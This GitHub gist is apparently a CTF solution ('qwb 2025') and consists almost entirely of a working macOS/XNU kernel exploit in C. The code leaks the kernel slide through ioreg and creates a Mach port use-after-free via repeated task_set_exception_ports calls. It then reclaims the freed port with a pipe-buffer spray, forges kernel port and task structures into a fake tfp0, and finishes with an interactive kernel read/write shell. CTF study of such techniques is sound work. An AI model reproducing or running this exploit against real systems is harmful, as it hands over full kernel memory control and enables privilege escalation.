Skip to content

Instantly share code, notes, and snippets.

@lbr77
Created December 6, 2025 05:18
Show Gist options
  • Select an option

  • Save lbr77/4f7200e59107a8df8308d24949cc34b4 to your computer and use it in GitHub Desktop.

Select an option

Save lbr77/4f7200e59107a8df8308d24949cc34b4 to your computer and use it in GitHub Desktop.
qwb 2025 nostalic real wp
#include <assert.h>
#include <fcntl.h>
#include <mach/mach.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <unistd.h>
// ----------------------------------------------------------------------------------------------
#define INFO(fmt, args...) \
printf("[*] " fmt "\n", ##args)
#define SUCCESS(fmt, args...) \
printf("[+] " fmt "\n", ##args)
#define ERROR(fmt, args...) \
printf("[-] " fmt "\n", ##args)
#define KR(expr) \
do { \
kern_return_t _kr = (expr); \
if (_kr != KERN_SUCCESS) { \
ERROR("( " #expr " ) failed: %s %d ", mach_error_string(_kr), _kr); \
goto error; \
} \
} while (0)
#define KRL(expr) \
do { \
kern_return_t _kr = (expr); \
if (_kr != KERN_SUCCESS) { \
ERROR("( " #expr " ) failed: %s %d", mach_error_string(_kr), _kr); \
goto error; \
} \
else { \
SUCCESS("succeeded: %s", mach_error_string(_kr)); \
} \
} while (0)
#define NEQ(expr, val) \
do { \
if ((expr) != val) { \
ERROR("( "#expr " ) != " #val); \
goto error; \
} \
} while (0)
#define EQ(expr, val) \
do { \
if ((expr) == val) { \
ERROR("( "#expr " ) == " #val); \
goto error; \
} \
} while (0)
#define RELEASE_PORT(port) \
do \
{ \
if(detect_port(port) == KERN_SUCCESS) \
{ \
mach_port_destroy(mach_task_self(), port); \
port = MACH_PORT_NULL; \
} else { \
ERROR("Trying to release invalid port: %x", port); \
} \
} while(0)
#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
#define ull unsigned long long
#define IO_BITS_KOTYPE 0x00000fff /* used by the object */
#define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
#define IOT_PORT 0
#define IKOT_TASK 2
#define IKOT_NONE 0
#define WQT_QUEUE 0x2
#define BSD_INFO_OFFSET 752 // 0x2f0
#define PROC_PID_OFFSET 0x10
#define PROC_UID_OFFSET 0x30
#define TASK_PREV_STRUCT 0x30
#define VM_MAP_OFFSET 0x20
#define ITK_SELF 0xd0
#define ITK_NSELF 0xd8
// ----------------------------------------------------------------------------------------------
#define KB (1024uLL)
#define MB (1024uLL * KB)
#define GB (1024uLL * MB)
#define UNSLID_DT_ADDR 0xffffff8001d34000ULL
#define KERNEL_BASE 0xffffff8000200000ULL
#define CLOCK_LIST_PORT 0xFFFFFF800084C1A0ULL
#define REAL_HOST 0xffffff80008bddc0ULL
#define KERNEL_TASK 0xffffff80008c5168ULL
#define ZONE_MAP 0xffffff80008c5970ULL
#define IPC_SPACE_KERNEL 0xffffff80008bac80ULL
#define ALL_PROC 0xffffff80008ed180ULL
// ----------------------------------------------------------------------------------------------
typedef volatile struct { // ipc_port_t
uint32_t ip_bits; // +0
uint32_t ip_references; // +4
struct {
uint32_t interlock; // +8
uint32_t pad; // +12
} ip_lock;
// ipc_object above
struct {
struct {
uint64_t flag; // + 16
uint64_t wq_interlock; // + 20
struct {
uint64_t next; // -> prev // +28
uint64_t prev; // -> next // +36
} wq_queue;
} wait_queue;
struct {
uint64_t ikmq_base; // +44
} messages;
uint32_t msgcount; // +56
uint32_t qlimit; // +60
uint64_t seqno; // +64
// uint64_t receiver_name; // +72
uint32_t fullwaiters; // +72
uint64_t pset_count; // +76
} ip_messages;
uint64_t ip_receiver; // +88
uint64_t ip_kobject; // +96
uint64_t ip_nsrequest; // +104
uint64_t ip_pdrequest; // +112
uint64_t ip_requests; // +120
uint64_t ip_premsg; // +128
uint32_t ip_mscount; //+136
uint32_t ip_srights; //+140
uint32_t ip_sorights; //+144
uint32_t ip_flags; // +148
uint64_t ip_context; // +152
} kport_t;
typedef volatile struct {
union {
uint64_t port;
uint64_t index;
} notify;
union {
uint64_t name;
uint64_t size;
} name;
} kport_request_t;
typedef volatile struct {
struct {
uint64_t data; // +0
uint32_t reserved : 24, //+8
type : 8;
uint32_t pad; //+12
} lock; // mutex lock
uint32_t ref_count; // +16
uint32_t active; // +20
uint32_t halting; // +24
uint32_t pad2; // +28
uint64_t map; // +32
uint64_t prev; // 40
uint64_t next; // 48
} ktask_t;
union waitq_flags {
struct {
uint32_t /* flags */
waitq_type:2, /* only public field */
waitq_fifo:1, /* fifo wakeup policy? */
waitq_prepost:1, /* waitq supports prepost? */
waitq_irq:1, /* waitq requires interrupts disabled */
waitq_isvalid:1, /* waitq structure is valid */
waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
waitq_eventmask:_EVENT_MASK_BITS;
};
uint32_t flags;
};
// ----------------------------------------------------------------------------------------------
uint64_t slide = 0, addrpem = 0;
const size_t request_offset = 0x200; // offset inside the pipe buffer where the kport_request_t is located
int n_early_ports = 0x8000;
int n_middle_ports = 1; // victim
int n_late_ports = 5000;
mach_port_t early_ports[0x8000];
mach_port_t middle_ports[1];
mach_port_t victim;
mach_port_t late_ports[5000];
void *pipe_buffer;
size_t pipe_buffer_size;
int rpipe; int wpipe; int offset;
extern kern_return_t mach_zone_force_gc(mach_port_t);
// ----------------------------------------------------------------------------------------------
static kern_return_t slide_leak(void) {
INFO("leaking kernel slide...");
FILE *fp;
char pipe_buffer[512];
uint64_t leaked_address = 0;
fp = popen("ioreg -l | grep IOPlatformArgs", "r");
if (!fp) {
ERROR("popen failed");
return KERN_FAILURE;
}
if (!fscanf(fp, "%*[^<]<%511[^>]>", pipe_buffer)) {
ERROR("parse_slide: fgets failed");
pclose(fp);
return KERN_FAILURE;
}
pclose(fp);
// SUCCESS("IOPlatformArgs: %s", pipe_buffer);
// 00901d2880ffffff00c01c2880ffffff90fb222880ffffff0000000000000000 got sth like
// remove 10 char on head, read 16 bit in the mid
// update: it's a fucking little-endian! so just cut the first 16 bit.
char reversed[17] = {0};
for (int i = 0; i < 8; i++) {
reversed[i*2] = pipe_buffer[14 - i*2];
reversed[i*2+1] = pipe_buffer[15 - i*2];
}
leaked_address = strtoull(reversed, NULL, 16);
SUCCESS("leaked address: 0x%llx", (ull)leaked_address);
EQ(leaked_address, 0);
slide = leaked_address - UNSLID_DT_ADDR;
SUCCESS("calculated kernel slide: 0x%llx", (ull)slide);
SUCCESS("kernel base: 0x%llx", (ull)(KERNEL_BASE) + slide);
INFO("leaking addrpem for port clock");
mach_port_t clk = MACH_PORT_NULL;
KR(host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &clk));
mach_vm_address_t clk_addr = 0,host_self_addr = 0;
natural_t type = 0;
KR(mach_port_kobject(mach_task_self(), mach_host_self(), &type, &host_self_addr)); // addr = REAL_HOST + slide + addrpem
SUCCESS("realhost kobject addr: 0x%llx", (ull)host_self_addr);
addrpem = host_self_addr - REAL_HOST - slide;
KR(mach_port_kobject(mach_task_self(), clk, &type, &clk_addr)); // clk_addr = CLOCK_LIST_PORT + slide + addrpem + id * ? // id = 1
SUCCESS("clock port kobject addr: 0x%llx", (ull)clk_addr);
SUCCESS("calculated addrpem: 0x%llx", (ull)addrpem);
SUCCESS("calculated clock port offset (should be small): 0x%llx", (ull)(clk_addr - CLOCK_LIST_PORT - slide - addrpem));
return KERN_SUCCESS;
error:
return KERN_FAILURE;
}
static kern_return_t make_port_uaf(mach_port_t port, int mask) {
INFO("making port uaf...");
// exception_mask_t mask = EXC_MASK_BAD_ACCESS;
KR(task_set_exception_ports(mach_task_self(), mask, port,
EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set => send right +1 => 2 => io_ref - 1 = 1
natural_t type = 0;
mach_vm_address_t addr = 0;
kern_return_t kr;
KRL(mach_port_kobject(mach_task_self(), port, &type, &addr));
int times = 0;
for(int i=0;i<2;i++) {
KR(task_set_exception_ports(mach_task_self(), mask, port,
EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set again => (n) send right keep => 2 , io_ref -1 => 0
times++;
INFO("uaf attempt %d", times);
kr = mach_port_kobject(mach_task_self(), port, &type, &addr);
INFO("kr=%s", mach_error_string(kr));
}
EQ(kr, KERN_SUCCESS);
INFO("port is uafed after %d attempts", times);
return KERN_SUCCESS;
error:
return KERN_FAILURE;
}
static mach_port_t make_port(void) {
mach_port_t p = MACH_PORT_NULL;
KR(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p));
KR(mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND)); //
return p;
error:
return MACH_PORT_NULL;
}
static kern_return_t detect_port(mach_port_t port) {
natural_t type = 0;
mach_vm_address_t addr = 0;
kern_return_t kr;
KR(mach_port_kobject(mach_task_self(), port, &type, &addr));
// INFO("probe: name=%d type=%u kaddr=0x%llx\n",
// port, type, (unsigned long long)addr);
return KERN_SUCCESS;
error:
return KERN_FAILURE;
}
void
increase_file_limit() {
struct rlimit rl = {};
int error = getrlimit(RLIMIT_NOFILE, &rl);
assert(error == 0);
rl.rlim_cur = 10240;
rl.rlim_max = rl.rlim_cur;
error = setrlimit(RLIMIT_NOFILE, &rl);
if (error != 0) {
ERROR("could not increase file limit");
}
error = getrlimit(RLIMIT_NOFILE, &rl);
assert(error == 0);
if (rl.rlim_cur != 10240) {
ERROR("file limit is %llu", rl.rlim_cur);
}
}
void
pipe_close(int pipefds[2]) {
close(pipefds[0]);
close(pipefds[1]);
}
static void
set_nonblock(int fd) {
int flags = fcntl(fd, F_GETFL);
flags |= O_NONBLOCK;
fcntl(fd, F_SETFL, flags);
}
int *
create_pipes(size_t *pipe_count) {
// Allocate our initial array.
size_t capacity = *pipe_count;
int *pipefds = calloc(2 * capacity, sizeof(int));
assert(pipefds != NULL);
// Create as many pipes as we can.
size_t count = 0;
for (; count < capacity; count++) {
// First create our pipe fds.
int fds[2] = { -1, -1 };
int error = pipe(fds);
// Unfortunately pipe() seems to return success with invalid fds once we've
// exhausted the file limit. Check for this.
if (error != 0 || fds[0] < 0 || fds[1] < 0) {
pipe_close(fds);
break;
}
// Mark the write-end as nonblocking.
set_nonblock(fds[1]);
// Store the fds.
pipefds[2 * count + 0] = fds[0];
pipefds[2 * count + 1] = fds[1];
}
// Truncate the array to the smaller size.
int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
assert(new_pipefds != NULL);
// Return the count and the array.
*pipe_count = count;
return new_pipefds;
}
void
close_pipes(int *pipefds, size_t pipe_count) {
for (size_t i = 0; i < pipe_count; i++) {
pipe_close(pipefds + 2 * i);
}
}
size_t
pipe_spray(const int *pipefds, size_t pipe_count,
void *pipe_buffer, size_t pipe_buffer_size,
void (^update)(uint32_t pipe_index, void *data, size_t size)) {
assert(pipe_count <= 0xffffff);
assert(pipe_buffer_size > 512);
size_t write_size = pipe_buffer_size - 1;
size_t pipes_filled = 0;
for (size_t i = 0; i < pipe_count; i++) {
// Update the buffer.
if (update != NULL) {
update((uint32_t)i, pipe_buffer, pipe_buffer_size);
}
// Fill the write-end of the pipe with the buffer. Leave off the last byte.
int wfd = pipefds[2 * i + 1];
ssize_t written = write(wfd, pipe_buffer, write_size);
if (written != write_size) {
// This is most likely because we've run out of pipe buffer memory. None of
// the subsequent writes will work either.
break;
}
pipes_filled++;
}
return pipes_filled;
}
void pipe_gc(const int *pipefds, size_t pipe_count, int skip_pipe) {
for(int i=0;i<pipe_count;i++) {
if(i == skip_pipe) continue;
pipe_close((int *)(pipefds + 2*i));
}
}
// ----------------------------------------------------------------------------------------------
void read_prim() {
INFO("reading mach port...");
ssize_t n = read(rpipe, pipe_buffer, pipe_buffer_size);
EQ(n, -1);
INFO("read success");
return;
error:
ERROR("read failed in read_mach_port");
return;
}
void write_prim() {
ssize_t n = write(wpipe, pipe_buffer, pipe_buffer_size);
EQ(n, -1);
INFO("write success");
return;
error:
ERROR("write failed in write_mach_port");
return;
}
void edit_mach_port(size_t offset, void(^update)(kport_t *fakeport)) {
read_prim();
kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
if(update!=NULL) {
update(port);
}
write_prim();
return;
}
void read_mach_port(size_t offset, kport_t *outport) {
read_prim();
kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
if(outport != NULL) {
memcpy(outport, port, sizeof(kport_t));
}
write_prim();
return;
}
void edit_proc_task(size_t offset, void(^update)(ktask_t *task)) {
read_prim();
kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
if(update!=NULL) {
update(port);
}
write_prim();
return;
}
static inline uint32_t mach_port_waitq_flags() {
union waitq_flags waitq_flags = {};
waitq_flags.waitq_type = WQT_QUEUE;
waitq_flags.waitq_fifo = 1;
waitq_flags.waitq_prepost = 0;
waitq_flags.waitq_irq = 0;
waitq_flags.waitq_isvalid = 1;
waitq_flags.waitq_turnstile_or_port = 1;
return waitq_flags.flags;
}
// ----------------------------------------------------------------------------------------------
static mach_port_t tfpzero;
void init_kernel_memory(mach_port_t tfp0) {
tfpzero = tfp0;
}
uint64_t kalloc(vm_size_t size) {
mach_vm_address_t address = 0;
mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
return address;
}
void kfree(mach_vm_address_t address, vm_size_t size) {
mach_vm_deallocate(tfpzero, address, size);
}
size_t kread(uint64_t where, void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
mach_vm_size_t sz, chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
if (rv || sz == 0) {
printf("[-] error on kread(0x%016llx)\n", where);
break;
}
offset += sz;
}
return offset;
}
size_t kwrite(uint64_t where, const void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
size_t chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
if (rv) {
printf("[-] error on kwrite(0x%016llx)\n", where);
break;
}
offset += chunk;
}
return offset;
}
void wk32(uint64_t where, uint32_t what) {
uint32_t _what = what;
kwrite(where, &_what, sizeof(uint32_t));
}
void wk64(uint64_t where, uint64_t what) {
uint64_t _what = what;
kwrite(where, &_what, sizeof(uint64_t));
}
uint32_t rk32(uint64_t where) {
uint32_t out;
kread(where, &out, sizeof(uint32_t));
return out;
}
uint64_t rk64(uint64_t where) {
uint64_t out;
kread(where, &out, sizeof(uint64_t));
return out;
}
// ----------------------------------------------------------------------------------------------
int main() {
INFO("kaslr leak");
KR(slide_leak());
INFO("make port");
INFO("spray ports");
INFO("about to allocate ports\n");
for (int i = 0; i < n_early_ports; i++) {
early_ports[i] = make_port();
}
victim = make_port();
for(int i=0;i<n_late_ports;i++) {
late_ports[i] = make_port();
}
INFO("allocated ports");
INFO("uafing port");
make_port_uaf(victim, EXC_MASK_BAD_ACCESS);
INFO("uaf'ed port");
for(int i=0;i<n_early_ports;i++) {
RELEASE_PORT(early_ports[i]);
}
for(int i=0;i<n_late_ports;i++) {
RELEASE_PORT(late_ports[i]);
}
INFO("freed surrounding ports");
for (int i = 0; i < 10; i++) {
mach_zone_force_gc(mach_host_self());
}
INFO("mach_zone_force_gc done");
pipe_buffer_size = 4096; // make it to kalloc.4096
size_t pipe_count = 16 * MB / pipe_buffer_size;
increase_file_limit();
int *pipefds_array = create_pipes(&pipe_count);
INFO("created %zu pipes", pipe_count);
pipe_buffer = calloc(1, pipe_buffer_size);
EQ(pipe_buffer, NULL);
bzero(pipe_buffer, pipe_buffer_size);
size_t pipes_filled = pipe_spray(pipefds_array, pipe_count, pipe_buffer, pipe_buffer_size, NULL );
INFO("filled %zu pipes", pipes_filled);
KR(mach_port_set_context(mach_task_self(), victim, 0x41414141));
INFO("set victim port context");
INFO("try locate which page");
int pipe_idx = -1;
int context_location = -1;
for(size_t i=0;i<pipes_filled;i++) {
ssize_t n = read(pipefds_array[2*i], pipe_buffer, pipe_buffer_size);
if(n < 0) {
ERROR("read pipe %zu failed", i);
continue;
}
uint32_t *p = (uint32_t *)pipe_buffer;
for(size_t j=0;j<(pipe_buffer_size/4);j++) {
if(p[j] == 0x41414141) {
SUCCESS("found in pipe %zu at offset 0x%zx", i, j*4);
pipe_idx = (int)i;
context_location = (int)(j*4);
break;
}
}
if(pipe_idx != -1) break;
}
EQ(pipe_idx, -1);
EQ(context_location, -1);
INFO("found victim port in pipe %d at offset 0x%x", pipe_idx, context_location);
offset = context_location - offsetof(kport_t, ip_context); // page offset of kport_t
pipe_gc(pipefds_array, pipe_count, pipe_idx);
KR(mach_zone_force_gc(mach_host_self()));
INFO("freed other pipes");
rpipe = pipefds_array[2*pipe_idx];
wpipe = pipefds_array[2*pipe_idx + 1];
// write(wpipe, pipe_buffer, pipe_buffer_size); // product to rpipe.
write_prim(pipe_buffer, wpipe);
mach_port_t tfp0 = make_port();
mach_port_t notify = MACH_PORT_NULL;
edit_mach_port(offset, ^(kport_t *fakeport){
bzero(fakeport, sizeof(kport_t));
fakeport->ip_bits = IKOT_NONE;
fakeport->ip_references = 0x100;
fakeport->ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL;
fakeport->ip_messages.msgcount = 0;
fakeport->ip_srights = 0x10;
fakeport->ip_context = 0;
});
KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, tfp0, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify));
kport_t readback;
read_mach_port(offset, &readback);
uint64_t tfp0_addr = readback.ip_pdrequest;
SUCCESS("tfp0 addr: 0x%llx", (ull)tfp0_addr);
KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, victim, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify));
read_mach_port(offset, &readback);
uint64_t victim_addr = readback.ip_pdrequest;
SUCCESS("victim addr: 0x%llx", (ull)victim_addr);
// buffer start
uint64_t buffer_start_address = victim_addr - offset;
SUCCESS("pipe buffer addr: 0x%llx", (ull)buffer_start_address);
kport_request_t kreq = {
.notify =
{
.port = 0,
}
};
edit_mach_port(offset, ^(kport_t *fakeport){
fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0x100;
fakeport->ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL;
fakeport->ip_messages.msgcount = 0;
fakeport->ip_srights = 0x10;
fakeport->ip_context = 0;
fakeport->ip_requests = victim_addr + offsetof(kport_t, ip_context)
- offsetof(kport_request_t, name.size);
});
INFO("write done");
#define KREAD(addr, out, size) \
do { \
for(size_t i=0;i<((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); i++) { \
KR(mach_port_set_context(mach_task_self(), victim, addr + i * sizeof(uint32_t))); \
mach_msg_type_number_t outsz = 1; \
KR(mach_port_get_attributes(mach_task_self(), victim, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(out)+i), &outsz)); \
} \
} while(0)
uint64_t struct_task = 0; // task kobject.
natural_t type = 0;
mach_port_kobject(mach_task_self(), mach_task_self(), &type, &struct_task);
uint64_t self_proc = 0;
struct_task -= addrpem;
SUCCESS("self task kobject addr: 0x%llx", (ull)struct_task);
self_proc = struct_task;
uint64_t kernel_vm_map = 0;
EQ(struct_task, 0);
while (struct_task != 0) {
uint64_t bsd_info;
KREAD(struct_task + BSD_INFO_OFFSET, &bsd_info, sizeof(bsd_info));
EQ(bsd_info, 0);
SUCCESS("found next bsd_info: 0x%llx", (ull)bsd_info);
uint32_t pid;
KREAD(bsd_info + PROC_PID_OFFSET, &pid, sizeof(pid));
SUCCESS("found pid: %u", pid);
if (pid == 0) {
uint64_t vm_map;
KREAD(struct_task + VM_MAP_OFFSET, &vm_map, sizeof(vm_map));
EQ(vm_map, 0);
SUCCESS("found kernel_vm_map: 0x%llx", (ull)vm_map);
kernel_vm_map = vm_map;
break;
}
KREAD(struct_task + TASK_PREV_STRUCT, &struct_task, sizeof(struct_task));
}
void *kernel_task_port_dump = malloc(0x100);
void *kernel_task_dump = malloc(0x200);
uint64_t kernel_task_addr = 0;
KREAD(KERNEL_TASK + slide, &kernel_task_addr, sizeof(kernel_task_addr));
SUCCESS("kernel_task_addr: 0x%llx", (ull)kernel_task_addr);
uint64_t kernel_itk_self = 0;
KREAD(kernel_task_addr + ITK_SELF, &kernel_itk_self, sizeof(kernel_itk_self));
SUCCESS("kernel_itk_self: 0x%llx", (ull)kernel_itk_self);
uint64_t fake_task_offset = 0;
if(offset > 0x500) { // if task port is in later of buffer, we create task at front
fake_task_offset = 0;
} else {
fake_task_offset = pipe_buffer_size - 0x200; // else create at end of buffer
}
INFO("fake task offset: 0x%llx", (ull)fake_task_offset);
KREAD(kernel_task_addr, kernel_task_dump, 0x200);
SUCCESS("dumped kernel task struct");
KREAD(kernel_itk_self, kernel_task_port_dump, 0x100);
SUCCESS("dumped kernel task port struct");
edit_proc_task(fake_task_offset, ^(ktask_t *task) {
memcpy(task, kernel_task_dump, 0x200);
task->map = kernel_vm_map;
});
// uint64_t faketask_addr = buffer_start_address + fake_task_offset;
// SUCCESS("fake task addr: 0x%llx", (ull)faketask_addr);
edit_mach_port(offset, ^(kport_t *fakeport){
bzero(fakeport, sizeof(kport_t));
memcpy(fakeport, kernel_task_port_dump, 0x100);
fakeport->ip_kobject = buffer_start_address + fake_task_offset;
});
SUCCESS("faKe tfp0 ready!");
init_kernel_memory(victim);
INFO("testing kr/w...");
uint64_t addr = kalloc(8);
INFO("allocated kernel memory at 0x%llx", (ull)addr);
EQ(addr, 0);
wk64(addr, 0x4141414141414141);
uint64_t readb = rk64(addr);
kfree(addr, 8);
printf("[*] read back: 0x%llx\n", readb);
NEQ(readb, 0x4141414141414141);
SUCCESS("kr/w test passed!");
SUCCESS("give you a shell to play with tfp0...");
while(true) {
void *buffer = malloc(1024);
printf("> "); // read addr size / write addr size value
char cmd;
scanf(" %c", &cmd);
if(cmd == 'r') {
uint64_t address;
size_t size;
scanf(" %llx %zu", &address, &size);
kread(address, buffer, size);
printf("data: ");
for(size_t i=0;i<size;i++) {
printf("%02x ", ((uint8_t *)buffer)[i]);
}
}
else if(cmd == 'w') {
uint64_t address;
size_t size;
uint64_t value;
scanf(" %llx %zu %llx", &address, &size, &value);
if(size == 4) {
uint32_t v32 = (uint32_t)value;
kwrite(address, &v32, 4);
} else if(size == 8) {
kwrite(address, &value, 8);
} else {
printf("unsupported size\n");
}
}
free(buffer);
}
pause();
error:
ERROR("Failed to exploit, pause...");
pause();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment